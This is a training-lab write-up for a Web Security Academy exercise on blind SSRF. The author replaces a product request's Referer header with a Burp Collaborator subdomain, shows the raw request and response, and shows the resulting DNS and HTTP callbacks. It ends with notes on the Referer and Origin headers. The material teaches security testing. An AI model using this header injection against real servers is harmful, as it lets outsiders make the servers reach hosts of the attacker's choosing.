

# Blind SSRF with out-of-band detection

1. This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
2. I opened the product page and intercepted the request, and I already found referer header.
3. I copy my burp collaborator subdomain and paste it in referer header and send the request then go back to collaborator tap. I found a HTTP request to my subdomain.

Request

PrettyRawHexHackvortor

1GET /product?productId=1 HTTP/2

2Host: 0a9600d004bf36278047c682003400a1.web-security-academy.net

3Cookie: session=Bp7OmKqMmL9mX1zLmBV84zTfEB985kSJ

4Sec-Ch-Ua: "Google Chrome";v="141", "Not?A\_Brand";v="8", "Chromium";v="141"

5Sec-Ch-Ua-Mobile: ?0

6Sec-Ch-Ua-Platform: "Windows"

7Upgrade-Insecure-Requests: 1

8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36

9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avi

10f,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v

11=b3;q=0.7

12Sec-Fetch-Site: same-origin

13Sec-Fetch-Mode: navigate

14Sec-Fetch-User: ?1

15Sec-Fetch-Dest: document

16Referer: https://o7wtib3x1cggokgpjt2pwms1ws2jq9ey.oastify.com/

17Accept-Encoding: gzip, deflate, br

18Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7

19Priority: u=0, i

20

Response

PrettyRawHexRenderHackvortor

1HTTP/2 200 OK

2Content-Type: text/html; charset=utf-8

3X-Frame-Options: SAMEORIGIN

4Content-Length: 7180

5

6<!DOCTYPE html>

7<html>

8

9<head>

10<link href=/resources/labheader/css

11<link href=/resources/css/labsEcom

12<title>

13Blind SSRF with out-of-band de

14</title>

15</head>

16<body>

17<script src=/resources/labheader/

18</script>

19<div id=academyLabHeader>

20<section class=academyLabBanner

21<div class=container>

22<div class=logo>

23</div>

24<div class=title-con

25<h2>

26Blind SSRF

27</h2>

Burp Project Intruder Repeater View Help Param Miner Turbo Intruder Logger++ Hackvortor

Burp Suite Professional v2025.5.5 - Temporary Project - licensed to h31104

Dashboard Target Proxy Intruder Repeater Collaborator (4) Sequencer Decoder Comparer Logger Organizer Extensions Learn Logger++

1 x +

Payloads to generate: 1 Copy to clipboard Include Collaborator server location Poll now Polling automatically

Filter HT... DNS SM...

#	Time	Type	Payload	Source IP address
1	2025-Oct-11 18:18:44.912 UTC	DNS	o7wtib3x1cggokgpjt2pwms1ws2jq9ey	3.251.105.84
2	2025-Oct-11 18:18:44.912 UTC	DNS	o7wtib3x1cggokgpjt2pwms1ws2jq9ey	3.251.105.124
3	2025-Oct-11 18:18:44.983 UTC	HTTP	o7wtib3x1cggokgpjt2pwms1ws2jq9ey	34.253.173.2
4	2025-Oct-11 18:18:54.092 UTC	HTTP	o7wtib3x1cggokgpjt2pwms1ws2jq9ey	34.253.173.2



Blind SSRF with out-of-band detection

LAB Solved

[Back to lab description >>](#)

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

[Home](#)

Giant Grasshopper



\$39.16

## NOTEs

- **Referer** Header
  - It indicates where the request comes from. Specifically, the URL of the web page that caused the request.
  - It shows the page that linked to or embedded the requested resource.
  - It doesn't necessarily show the **origin** of the server or the *script* that made the request. It just shows **the previous page's full URL**.
- **Origin** Header
  - You can think of the **Origin** header as a more **privacy-preserving** and **security-focused** version of Referer.
  - The **Origin** header indicates which site (scheme + domain + port) the request **originated from**, but **not the full URL**.